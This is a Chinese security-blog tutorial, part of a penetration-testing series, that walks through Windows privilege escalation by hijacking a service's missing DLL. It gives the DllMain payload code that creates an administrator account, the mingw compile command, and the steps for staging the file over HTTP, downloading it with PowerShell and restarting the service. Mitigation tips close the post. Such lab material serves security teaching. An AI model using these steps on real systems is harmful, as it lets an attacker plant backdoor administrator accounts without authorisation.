**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点▶ 权限提升 ➢ Windows权限提升 ➢ 动态链接库(dll)文件劫持(下) 🔥🔥🔥
▶ 横向移动▶ 报告/分析
▶ 教训/修复
目录
[1.1 Windows服务DLL劫持攻击](#1.1 Windows服务DLL劫持攻击)
[1.1.3 利用缺失DLL的服务劫持攻击实践](#1.1.3 利用缺失DLL的服务劫持攻击实践)
[1.1.3.3 恶意DLL创建与部署](#1.1.3.3 恶意DLL创建与部署)
[1.1.3.4 再次重启BetaService服务(执行DLL文件)](#1.1.3.4 再次重启BetaService服务(执行DLL文件))
[1.1.4 DLL劫持提权攻击总结](#1.1.4 DLL劫持提权攻击总结)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.Windows权限提升
在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升。
📊 权限提升三大路径: 本文开始介绍:++动态链接库(dll)文件劫持++。
| 阶段 | 目标 | 关键方法 |
|---|---|---|
| 1. 枚举Windows | 获取系统情报 | 手动搜索 + 自动化工具 |
| 2. 滥用Windows服务 | 攻击服务漏洞 | 服务配置缺陷、权限滥用 |
| 3. 利用其他组件 | 扩大攻击面 | 计划任务、系统漏洞利用 |
1.1 Windows服务DLL劫持攻击
"替换服务的二进制文件 "是尝试在Windows系统上提升权限的一种非常有效的方法。然而,由于普通用户通常没有权限替换这些二进制文件时,需要采用更高级的方式来利用Windows服务。
1.1.3 利用缺失DLL的服务劫持攻击实践
接前文。
1.1.3.3 恶意DLL创建与部署
1.附加DLL的DllMain函数概述
在创建DLL之前,简要回顾一下附加DLL的工作原理以及它如何引导我们执行代码。
每个DLL都有一个名为DlIMain的可选入口点函数,该函数在进程或线程附加DLL时执行。简而言之,**DIMain是DLL的"启动函数",**它用于执行 DLL加载时需要的初始化工作。
DllMain函数 通常处理++DLL加载、初始化和清理++的任务。、
当DLL被进程或线程 附加(ATTACH )/分离(DETACH)时,操作系统会自动调用此函数。
在DIlMain函数中,会看到四种常见的事件处理情况,通常通过switch或if语句来区分:
🔄 四种事件处理类型:
| 事件类型 | 触发时机 | 主要用途 | 攻击利用价值 |
|---|---|---|---|
| DLL_PROCESS_ATTACH | 进程首次加载DLL时 | 全局资源初始化 | ⭐⭐⭐ 主要攻击入口 |
| DLL_THREAD_ATTACH | 新线程加载该DLL时 | 线程特定资源初始化 | ⭐⭐ 潜在攻击点 |
| DLL_THREAD_DETACH | 线程卸载DLL时 | 线程资源清理 | ⭐ 清理痕迹 |
| DLL_PROCESS_DETACH | 进程卸载DLL时 | 全局资源清理 | ⭐ 后期操作 |

🎯 攻击利用重点:
DLL_PROCESS_ATTACH是攻击者最关注的入口点,在DLL被加载时自动执行恶意代码。因为:
自动执行:DLL被加载时立即自动运行
隐蔽性强:正常的初始化过程不易被怀疑
权限继承:以加载进程的权限执行代码
⚠️ 若无DllMain的情况:
如果DLL文件不提供DIMain入口点函数,那么:
-
仅作为资源库:提供函数、数据供调用
-
无自动执行代码:加载/卸载时不执行任何特定任务
-
被动存在:完全由调用方控制使用时机
2.查看附件DLL代码
下面的示例代码来自Microsoft,概述一个包含这四种情况的基本C++ DLL。DLL代码包含了入口点函数DllMain和之前提到的这四种情况的switch语句。根据ul_reason_for_call的值,执行其中一种情况。目前,所有情况都只使用了break语句。

Microsoft提供的注释说明:DLL_PROCESS_ATTACH用于在进程加载DLL时使用。由于示例中的目标服务二进制进程尝试加载DLL,这里就是我们需要添加代码地方了。
3.复用前文 的恶意二进制文件的C代码
前文中,构建恶意二进制文件的C代码在此可复用,并将其添加到C++ DLL代码中。重述C代码作用:使用system函数创建一个名为dave2的用户,并将该用户添加到本地管理员组中。
cpp
// 复用的提权代码
system("net user dave2 Password123! /add");
system("net localgroup administrators dave2 /add");

**4.**在附加DLL代码中插入恶意二进制文件的C代码

📝 头文件添加
| 头文件 | 作用 | 必要性 |
|---|---|---|
| windows.h | 提供Windows API和数据类型(如BOOL) | 🔴 必需,否则编译失败 |
| stdlib.h | 提供system()函数支持 | 🟢 可选但推荐,确保代码清晰 |
代码作用: 在BetaService服务启动时调用入口函数DLLMain ,在进程或线程附加DLL时调用,被加载到内存中时执行恶意代码**(添加管理员用户)。**
5.编译与部署dll文件
📊 操作步骤表:
| 步骤 | 命令/操作 | 目的 |
|---|---|---|
| 1. 编译DLL | x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll |
生成64位Windows DLL |
| 2. 启动传输服务 | Kali:python3 -m http.server 80 |
建立文件下载点 |
| 3. 目标机下载 | PowerShell:iwr http://<IP>/myDLL.dll -OutFile myDLL.dll |
获取恶意DLL |
| 4. 精准放置 | 存放到C:\Users\steve\Documents\ |
DLL搜索顺序第1位 |
| 5. 前置验证 | net user dave2 |
确认目标用户不存在 |
①编译为.dll文件
bash
$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
🎯 关键编译参数解析
| 参数 | 作用 | 重要性 |
|---|---|---|
--shared |
生成**共享库(DLL)**而非可执行文件 | 🔑 核心参数 |
-o myDLL.dll |
指定输出文件名,与缺失DLL同名 | 🎯 攻击必要条件 |
x86_64-w64-mingw32-gcc |
针对64位Windows的交叉编译器 | 🖥️ 环境适配 |
| myDLL.cpp | 待编译的源代码文件。 myDLL.cpp是C++源代码文件,即:上面的代码。 | 🚀 源代码文件 |
②把编译的新myDLL.dll传输到目标主机
将myDLL.dll其传输到目标主机CLIENTWK220上。详见上表的步骤2、3。
注意:上表的步骤4、5。
1.把新myDLL.dll放在C:\Users\steve\Documents路径下(DLL搜索顺序1)。
2.此外,使用net user命令确认系统上尚不存在dave2。

1.1.3.4 再次重启BetaService服务(执行DLL文件)
🔄 攻击触发流程:

让重新启动BetaService服务,DLL被加载到进程中,并且在DLL_PROCESS_ATTACH中执行代码:创建用户dave2作为本地Administrators 组成员。

| 验证项目 | 预期结果 | 实际结果 | 状态 |
|---|---|---|---|
| DLL加载 | myDLL.dll被BetaService加载 | ✅ 搜索到并加载了恶意DLL | ✔️ 成功 |
| 代码执行 | DLL_PROCESS_ATTACH中代码执行 | ✅ 创建用户dave2的命令执行 | ✔️ 成功 |
| 权限提升 | dave2加入Administrators组 | ✅ dave2成为管理员成员 | ✔️ 成功 |
| 攻击链完整 | 服务重启触发整个攻击流程 | ✅ 全部按计划完成 | 🎉 完全成功 |
📍 放置位置策略
"第一搜索路径 + 用户可写权限 = 最高成功率"
-
路径优先级 :应用程序目录(第1位)→ 确保最先被加载
-
权限优势 :steve用户对该目录拥有完全控制权
-
隐蔽性:放置在用户文档目录,不易引起怀疑
1.1.4 DLL劫持提权攻击总结
| 攻击步骤 | 关键发现/操作 | 结果/影响 |
|---|---|---|
| 🔍 侦察分析 | 使用Process Monitor发现BetaService尝试加载myDLL.dll |
确认DLL缺失漏洞存在 |
| 🗺️ 路径分析 | 服务二进制位于C:\Users\steve\Documents\,这是DLL搜索顺序第一位 |
确认该目录用户可写,具备攻击条件 |
| 🛠️ 武器制作 | 编译恶意DLL并命名为myDLL.dll,植入DLL_PROCESS_ATTACH提权代码 |
创建自动执行的恶意载荷 |
| 📂 文件部署 | 将恶意DLL放置于C:\Users\steve\Documents\myDLL.dll |
确保服务重启时优先加载恶意DLL |
| 🔄 触发执行 | 重启BetaService服务,触发DLL加载流程 | 恶意代码以服务权限(SYSTEM)执行 |
| 🎯 权限提升 | 恶意代码创建用户dave2并加入本地管理员组 |
成功获得管理员权限,实现权限提升 |
💎 核心攻击链
bash
发现缺失DLL → 分析可写优先路径 → 制作同名恶意DLL → 放置到搜索路径 → 重启服务触发 → 获得管理员权限
⚠️ 安全启示
-
服务依赖管理 :确保服务安装完整,避免缺失DLL
-
文件权限控制:严格限制用户对应用程序目录的写入权限
-
DLL加载监控:监控服务加载非系统目录DLL的行为
-
最小权限原则:服务账户避免使用SYSTEM等高权限账户
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
